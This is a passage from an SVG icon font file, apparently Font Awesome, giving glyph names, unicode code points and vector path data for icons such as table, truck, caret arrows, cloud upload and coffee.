q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="strikethrough" unicode="&#xf0cc;" horiz-adv-x="1792" 
d="M1760 640q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h1728zM483 704q-28 35 -51 80q-48 98 -48 188q0 181 134 309q133 127 393 127q50 0 167 -19q66 -12 177 -48q10 -38 21 -118q14 -123 14 -183q0 -18 -5 -45l-12 -3l-84 6
l-14 2q-50 149 -103 205q-88 91 -210 91q-114 0 -182 -59q-67 -58 -67 -146q0 -73 66 -140t279 -129q69 -20 173 -66q58 -28 95 -52h-743zM990 448h411q7 -39 7 -92q0 -111 -41 -212q-23 -56 -71 -104q-37 -35 -109 -81q-80 -48 -153 -66q-80 -21 -203 -21q-114 0 -195 23
l-140 40q-57 16 -72 28q-8 8 -8 22v13q0 108 -2 156q-1 30 0 68l2 37v44l102 2q15 -34 30 -71t22.5 -56t12.5 -27q35 -57 80 -94q43 -36 105 -57q59 -22 132 -22q64 0 139 27q77 26 122 86q47 61 47 129q0 84 -81 157q-34 29 -137 71z" />
    <glyph glyph-name="underline" unicode="&#xf0cd;" 
d="M48 1313q-37 2 -45 4l-3 88q13 1 40 1q60 0 112 -4q132 -7 166 -7q86 0 168 3q116 4 146 5q56 0 86 2l-1 -14l2 -64v-9q-60 -9 -124 -9q-60 0 -79 -25q-13 -14 -13 -132q0 -13 0.5 -32.5t0.5 -25.5l1 -229l14 -280q6 -124 51 -202q35 -59 96 -92q88 -47 177 -47
q104 0 191 28q56 18 99 51q48 36 65 64q36 56 53 114q21 73 21 229q0 79 -3.5 128t-11 122.5t-13.5 159.5l-4 59q-5 67 -24 88q-34 35 -77 34l-100 -2l-14 3l2 86h84l205 -10q76 -3 196 10l18 -2q6 -38 6 -51q0 -7 -4 -31q-45 -12 -84 -13q-73 -11 -79 -17q-15 -15 -15 -41
q0 -7 1.5 -27t1.5 -31q8 -19 22 -396q6 -195 -15 -304q-15 -76 -41 -122q-38 -65 -112 -123q-75 -57 -182 -89q-109 -33 -255 -33q-167 0 -284 46q-119 47 -179 122q-61 76 -83 195q-16 80 -16 237v333q0 188 -17 213q-25 36 -147 39zM1536 -96v64q0 14 -9 23t-23 9h-1472
q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h1472q14 0 23 9t9 23z" />
    <glyph glyph-name="table" unicode="&#xf0ce;" horiz-adv-x="1664" 
d="M512 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23
v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 160v192
q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192
q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1664 1248v-1088q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1344q66 0 113 -47t47 -113
z" />
    <glyph glyph-name="magic" unicode="&#xf0d0;" horiz-adv-x="1664" 
d="M1190 955l293 293l-107 107l-293 -293zM1637 1248q0 -27 -18 -45l-1286 -1286q-18 -18 -45 -18t-45 18l-198 198q-18 18 -18 45t18 45l1286 1286q18 18 45 18t45 -18l198 -198q18 -18 18 -45zM286 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM636 1276
l196 -60l-196 -60l-60 -196l-60 196l-196 60l196 60l60 196zM1566 798l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM926 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98z" />
    <glyph glyph-name="truck" unicode="&#xf0d1;" horiz-adv-x="1792" 
d="M640 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM256 640h384v256h-158q-13 0 -22 -9l-195 -195q-9 -9 -9 -22v-30zM1536 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1792 1216v-1024q0 -15 -4 -26.5t-13.5 -18.5
t-16.5 -11.5t-23.5 -6t-22.5 -2t-25.5 0t-22.5 0.5q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-64q-3 0 -22.5 -0.5t-25.5 0t-22.5 2t-23.5 6t-16.5 11.5t-13.5 18.5t-4 26.5q0 26 19 45t45 19v320q0 8 -0.5 35t0 38
t2.5 34.5t6.5 37t14 30.5t22.5 30l198 198q19 19 50.5 32t58.5 13h160v192q0 26 19 45t45 19h1024q26 0 45 -19t19 -45z" />
    <glyph glyph-name="pinterest" unicode="&#xf0d2;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103q-111 0 -218 32q59 93 78 164q9 34 54 211q20 -39 73 -67.5t114 -28.5q121 0 216 68.5t147 188.5t52 270q0 114 -59.5 214t-172.5 163t-255 63q-105 0 -196 -29t-154.5 -77t-109 -110.5t-67 -129.5t-21.5 -134
q0 -104 40 -183t117 -111q30 -12 38 20q2 7 8 31t8 30q6 23 -11 43q-51 61 -51 151q0 151 104.5 259.5t273.5 108.5q151 0 235.5 -82t84.5 -213q0 -170 -68.5 -289t-175.5 -119q-61 0 -98 43.5t-23 104.5q8 35 26.5 93.5t30 103t11.5 75.5q0 50 -27 83t-77 33
q-62 0 -105 -57t-43 -142q0 -73 25 -122l-99 -418q-17 -70 -13 -177q-206 91 -333 281t-127 423q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="pinterest_sign" unicode="&#xf0d3;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-725q85 122 108 210q9 34 53 209q21 -39 73.5 -67t112.5 -28q181 0 295.5 147.5t114.5 373.5q0 84 -35 162.5t-96.5 139t-152.5 97t-197 36.5q-104 0 -194.5 -28.5t-153 -76.5
t-107.5 -109.5t-66.5 -128t-21.5 -132.5q0 -102 39.5 -180t116.5 -110q13 -5 23.5 0t14.5 19q10 44 15 61q6 23 -11 42q-50 62 -50 150q0 150 103.5 256.5t270.5 106.5q149 0 232.5 -81t83.5 -210q0 -168 -67.5 -286t-173.5 -118q-60 0 -97 43.5t-23 103.5q8 34 26.5 92.5
t29.5 102t11 74.5q0 49 -26.5 81.5t-75.5 32.5q-61 0 -103.5 -56.5t-42.5 -139.5q0 -72 24 -121l-98 -414q-24 -100 -7 -254h-183q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="google_plus_sign" unicode="&#xf0d4;" 
d="M917 631q0 26 -6 64h-362v-132h217q-3 -24 -16.5 -50t-37.5 -53t-66.5 -44.5t-96.5 -17.5q-99 0 -169 71t-70 171t70 171t169 71q92 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585
h109v110h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="google_plus" unicode="&#xf0d5;" horiz-adv-x="2304" 
d="M1437 623q0 -208 -87 -370.5t-248 -254t-369 -91.5q-149 0 -285 58t-234 156t-156 234t-58 285t58 285t156 234t234 156t285 58q286 0 491 -192l-199 -191q-117 113 -292 113q-123 0 -227.5 -62t-165.5 -168.5t-61 -232.5t61 -232.5t165.5 -168.5t227.5 -62
q83 0 152.5 23t114.5 57.5t78.5 78.5t49 83t21.5 74h-416v252h692q12 -63 12 -122zM2304 745v-210h-209v-209h-210v209h-209v210h209v209h210v-209h209z" />
    <glyph glyph-name="money" unicode="&#xf0d6;" horiz-adv-x="1920" 
d="M768 384h384v96h-128v448h-114l-148 -137l77 -80q42 37 55 57h2v-288h-128v-96zM1280 640q0 -70 -21 -142t-59.5 -134t-101.5 -101t-138 -39t-138 39t-101.5 101t-59.5 134t-21 142t21 142t59.5 134t101.5 101t138 39t138 -39t101.5 -101t59.5 -134t21 -142zM1792 384
v512q-106 0 -181 75t-75 181h-1152q0 -106 -75 -181t-181 -75v-512q106 0 181 -75t75 -181h1152q0 106 75 181t181 75zM1920 1216v-1152q0 -26 -19 -45t-45 -19h-1792q-26 0 -45 19t-19 45v1152q0 26 19 45t45 19h1792q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_down" unicode="&#xf0d7;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_up" unicode="&#xf0d8;" horiz-adv-x="1024" 
d="M1024 320q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="caret_left" unicode="&#xf0d9;" horiz-adv-x="640" 
d="M640 1088v-896q0 -26 -19 -45t-45 -19t-45 19l-448 448q-19 19 -19 45t19 45l448 448q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="caret_right" unicode="&#xf0da;" horiz-adv-x="640" 
d="M576 640q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19t-19 45v896q0 26 19 45t45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="columns" unicode="&#xf0db;" horiz-adv-x="1664" 
d="M160 0h608v1152h-640v-1120q0 -13 9.5 -22.5t22.5 -9.5zM1536 32v1120h-640v-1152h608q13 0 22.5 9.5t9.5 22.5zM1664 1248v-1216q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1344q66 0 113 -47t47 -113z" />
    <glyph glyph-name="sort" unicode="&#xf0dc;" horiz-adv-x="1024" 
d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45zM1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="sort_down" unicode="&#xf0dd;" horiz-adv-x="1024" 
d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="sort_up" unicode="&#xf0de;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="envelope_alt" unicode="&#xf0e0;" horiz-adv-x="1792" 
d="M1792 826v-794q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v794q44 -49 101 -87q362 -246 497 -345q57 -42 92.5 -65.5t94.5 -48t110 -24.5h1h1q51 0 110 24.5t94.5 48t92.5 65.5q170 123 498 345q57 39 100 87zM1792 1120q0 -79 -49 -151t-122 -123
q-376 -261 -468 -325q-10 -7 -42.5 -30.5t-54 -38t-52 -32.5t-57.5 -27t-50 -9h-1h-1q-23 0 -50 9t-57.5 27t-52 32.5t-54 38t-42.5 30.5q-91 64 -262 182.5t-205 142.5q-62 42 -117 115.5t-55 136.5q0 78 41.5 130t118.5 52h1472q65 0 112.5 -47t47.5 -113z" />
    <glyph glyph-name="linkedin" unicode="&#xf0e1;" 
d="M349 911v-991h-330v991h330zM370 1217q1 -73 -50.5 -122t-135.5 -49h-2q-82 0 -132 49t-50 122q0 74 51.5 122.5t134.5 48.5t133 -48.5t51 -122.5zM1536 488v-568h-329v530q0 105 -40.5 164.5t-126.5 59.5q-63 0 -105.5 -34.5t-63.5 -85.5q-11 -30 -11 -81v-553h-329
q2 399 2 647t-1 296l-1 48h329v-144h-2q20 32 41 56t56.5 52t87 43.5t114.5 15.5q171 0 275 -113.5t104 -332.5z" />
    <glyph glyph-name="undo" unicode="&#xf0e2;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298z" />
    <glyph glyph-name="legal" unicode="&#xf0e3;" horiz-adv-x="1792" 
d="M1771 0q0 -53 -37 -90l-107 -108q-39 -37 -91 -37q-53 0 -90 37l-363 364q-38 36 -38 90q0 53 43 96l-256 256l-126 -126q-14 -14 -34 -14t-34 14q2 -2 12.5 -12t12.5 -13t10 -11.5t10 -13.5t6 -13.5t5.5 -16.5t1.5 -18q0 -38 -28 -68q-3 -3 -16.5 -18t-19 -20.5
t-18.5 -16.5t-22 -15.5t-22 -9t-26 -4.5q-40 0 -68 28l-408 408q-28 28 -28 68q0 13 4.5 26t9 22t15.5 22t16.5 18.5t20.5 19t18 16.5q30 28 68 28q10 0 18 -1.5t16.5 -5.5t13.5 -6t13.5 -10t11.5 -10t13 -12.5t12 -12.5q-14 14 -14 34t14 34l348 348q14 14 34 14t34 -14
q-2 2 -12.5 12t-12.5 13t-10 11.5t-10 13.5t-6 13.5t-5.5 16.5t-1.5 18q0 38 28 68q3 3 16.5 18t19 20.5t18.5 16.5t22 15.5t22 9t26 4.5q40 0 68 -28l408 -408q28 -28 28 -68q0 -13 -4.5 -26t-9 -22t-15.5 -22t-16.5 -18.5t-20.5 -19t-18 -16.5q-30 -28 -68 -28
q-10 0 -18 1.5t-16.5 5.5t-13.5 6t-13.5 10t-11.5 10t-13 12.5t-12 12.5q14 -14 14 -34t-14 -34l-126 -126l256 -256q43 43 96 43q52 0 91 -37l363 -363q37 -39 37 -91z" />
    <glyph glyph-name="dashboard" unicode="&#xf0e4;" horiz-adv-x="1792" 
d="M384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM576 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1004 351l101 382q6 26 -7.5 48.5t-38.5 29.5
t-48 -6.5t-30 -39.5l-101 -382q-60 -5 -107 -43.5t-63 -98.5q-20 -77 20 -146t117 -89t146 20t89 117q16 60 -6 117t-72 91zM1664 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 1024q0 53 -37.5 90.5
t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1472 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 384q0 -261 -141 -483q-19 -29 -54 -29h-1402q-35 0 -54 29
q-141 221 -141 483q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="comment_alt" unicode="&#xf0e5;" horiz-adv-x="1792" 
d="M896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640
q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 174 120 321.5
t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="comments_alt" unicode="&#xf0e6;" horiz-adv-x="1792" 
d="M704 1152q-153 0 -286 -52t-211.5 -141t-78.5 -191q0 -82 53 -158t149 -132l97 -56l-35 -84q34 20 62 39l44 31l53 -10q78 -14 153 -14q153 0 286 52t211.5 141t78.5 191t-78.5 191t-211.5 141t-286 52zM704 1280q191 0 353.5 -68.5t256.5 -186.5t94 -257t-94 -257
t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224q0 139 94 257t256.5 186.5
t353.5 68.5zM1526 111q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129
q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230q0 -120 -71 -224.5t-195 -176.5z" />
    <glyph glyph-name="bolt" unicode="&#xf0e7;" horiz-adv-x="896" 
d="M885 970q18 -20 7 -44l-540 -1157q-13 -25 -42 -25q-4 0 -14 2q-17 5 -25.5 19t-4.5 30l197 808l-406 -101q-4 -1 -12 -1q-18 0 -31 11q-18 15 -13 39l201 825q4 14 16 23t28 9h328q19 0 32 -12.5t13 -29.5q0 -8 -5 -18l-171 -463l396 98q8 2 12 2q19 0 34 -15z" />
    <glyph glyph-name="sitemap" unicode="&#xf0e8;" horiz-adv-x="1792" 
d="M1792 288v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192q0 52 38 90t90 38h512v192h-96q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h320q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-96v-192h512q52 0 90 -38t38 -90v-192h96q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="umbrella" unicode="&#xf0e9;" horiz-adv-x="1664" 
d="M896 708v-580q0 -104 -76 -180t-180 -76t-180 76t-76 180q0 26 19 45t45 19t45 -19t19 -45q0 -50 39 -89t89 -39t89 39t39 89v580q33 11 64 11t64 -11zM1664 681q0 -13 -9.5 -22.5t-22.5 -9.5q-11 0 -23 10q-49 46 -93 69t-102 23q-68 0 -128 -37t-103 -97
q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -28 -17q-18 0 -29 17q-4 6 -14.5 24t-17.5 28q-43 60 -102.5 97t-127.5 37t-127.5 -37t-102.5 -97q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -29 -17q-17 0 -28 17q-4 6 -14.5 24t-17.5 28q-43 60 -103 97t-128 37q-58 0 -102 -23t-93 -69
q-12 -10 -23 -10q-13 0 -22.5 9.5t-9.5 22.5q0 5 1 7q45 183 172.5 319.5t298 204.5t360.5 68q140 0 274.5 -40t246.5 -113.5t194.5 -187t115.5 -251.5q1 -2 1 -7zM896 1408v-98q-42 2 -64 2t-64 -2v98q0 26 19 45t45 19t45 -19t19 -45z" />
    <glyph glyph-name="paste" unicode="&#xf0ea;" horiz-adv-x="1792" 
d="M768 -128h896v640h-416q-40 0 -68 28t-28 68v416h-384v-1152zM1024 1312v64q0 13 -9.5 22.5t-22.5 9.5h-704q-13 0 -22.5 -9.5t-9.5 -22.5v-64q0 -13 9.5 -22.5t22.5 -9.5h704q13 0 22.5 9.5t9.5 22.5zM1280 640h299l-299 299v-299zM1792 512v-672q0 -40 -28 -68t-68 -28
h-960q-40 0 -68 28t-28 68v160h-544q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1088q40 0 68 -28t28 -68v-328q21 -13 36 -28l408 -408q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="light_bulb" unicode="&#xf0eb;" horiz-adv-x="1024" 
d="M736 960q0 -13 -9.5 -22.5t-22.5 -9.5t-22.5 9.5t-9.5 22.5q0 46 -54 71t-106 25q-13 0 -22.5 9.5t-9.5 22.5t9.5 22.5t22.5 9.5q50 0 99.5 -16t87 -54t37.5 -90zM896 960q0 72 -34.5 134t-90 101.5t-123 62t-136.5 22.5t-136.5 -22.5t-123 -62t-90 -101.5t-34.5 -134
q0 -101 68 -180q10 -11 30.5 -33t30.5 -33q128 -153 141 -298h228q13 145 141 298q10 11 30.5 33t30.5 33q68 79 68 180zM1024 960q0 -155 -103 -268q-45 -49 -74.5 -87t-59.5 -95.5t-34 -107.5q47 -28 47 -82q0 -37 -25 -64q25 -27 25 -64q0 -52 -45 -81q13 -23 13 -47
q0 -46 -31.5 -71t-77.5 -25q-20 -44 -60 -70t-87 -26t-87 26t-60 70q-46 0 -77.5 25t-31.5 71q0 24 13 47q-45 29 -45 81q0 37 25 64q-25 27 -25 64q0 54 47 82q-4 50 -34 107.5t-59.5 95.5t-74.5 87q-103 113 -103 268q0 99 44.5 184.5t117 142t164 89t186.5 32.5
t186.5 -32.5t164 -89t117 -142t44.5 -184.5z" />
    <glyph glyph-name="exchange" unicode="&#xf0ec;" horiz-adv-x="1792" 
d="M1792 352v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5q-12 0 -24 10l-319 320q-9 9 -9 22q0 14 9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h1376q13 0 22.5 -9.5t9.5 -22.5zM1792 896q0 -14 -9 -23l-320 -320q-9 -9 -23 -9
q-13 0 -22.5 9.5t-9.5 22.5v192h-1376q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1376v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="cloud_download" unicode="&#xf0ed;" horiz-adv-x="1920" 
d="M1280 608q0 14 -9 23t-23 9h-224v352q0 13 -9.5 22.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-352h-224q-13 0 -22.5 -9.5t-9.5 -22.5q0 -14 9 -23l352 -352q9 -9 23 -9t23 9l351 351q10 12 10 24zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="cloud_upload" unicode="&#xf0ee;" horiz-adv-x="1920" 
d="M1280 672q0 14 -9 23l-352 352q-9 9 -23 9t-23 -9l-351 -351q-10 -12 -10 -24q0 -14 9 -23t23 -9h224v-352q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5v352h224q13 0 22.5 9.5t9.5 22.5zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="user_md" unicode="&#xf0f0;" horiz-adv-x="1408" 
d="M384 192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 68 5.5 131t24 138t47.5 132.5t81 103t120 60.5q-22 -52 -22 -120v-203q-58 -20 -93 -70t-35 -111q0 -80 56 -136t136 -56
t136 56t56 136q0 61 -35.5 111t-92.5 70v203q0 62 25 93q132 -104 295 -104t295 104q25 -31 25 -93v-64q-106 0 -181 -75t-75 -181v-89q-32 -29 -32 -71q0 -40 28 -68t68 -28t68 28t28 68q0 42 -32 71v89q0 52 38 90t90 38t90 -38t38 -90v-89q-32 -29 -32 -71q0 -40 28 -68
t68 -28t68 28t28 68q0 42 -32 71v89q0 68 -34.5 127.5t-93.5 93.5q0 10 0.5 42.5t0 48t-2.5 41.5t-7 47t-13 40q68 -15 120 -60.5t81 -103t47.5 -132.5t24 -138t5.5 -131zM1088 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="stethoscope" unicode="&#xf0f1;" horiz-adv-x="1408" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 832q0 -62 -35.5 -111t-92.5 -70v-395q0 -159 -131.5 -271.5t-316.5 -112.5t-316.5 112.5t-131.5 271.5v132q-164 20 -274 128t-110 252v512q0 26 19 45t45 19q6 0 16 -2q17 30 47 48
t65 18q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5q-33 0 -64 18v-402q0 -106 94 -181t226 -75t226 75t94 181v402q-31 -18 -64 -18q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5q35 0 65 -18t47 -48q10 2 16 2q26 0 45 -19t19 -45v-512q0 -144 -110 -252
t-274 -128v-132q0 -106 94 -181t226 -75t226 75t94 181v395q-57 21 -92.5 70t-35.5 111q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="suitcase" unicode="&#xf0f2;" horiz-adv-x="1792" 
d="M640 1152h512v128h-512v-128zM288 1152v-1280h-64q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h64zM1408 1152v-1280h-1024v1280h128v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h128zM1792 928v-832q0 -92 -66 -158t-158 -66h-64v1280h64q92 0 158 -66
t66 -158z" />
    <glyph glyph-name="bell_alt" unicode="&#xf0f3;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5
t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="coffee" unicode="&#xf0f4;" horiz-adv-x="1920" 
d="M1664 896q0 80 -56 136t-136 56h-64v-384h64q80 0 136 56t56 136zM0 128h1792q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM1856 896q0 -159 -112.5 -271.5t-271.5 -112.5h-64v-32q0 -92 -66 -158t-158 -66h-704q-92 0 -158 66t-66 158v736q0 26 19 45
t45 19h1152q159 0 271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="food" unicode="&#xf0f5;" horiz-adv-x="1408" 
d="M640 1472v-640q0 -61 -35.5 -111t-92.5 -70v-779q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v779q-57 20 -92.5 70t-35.5 111v640q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45
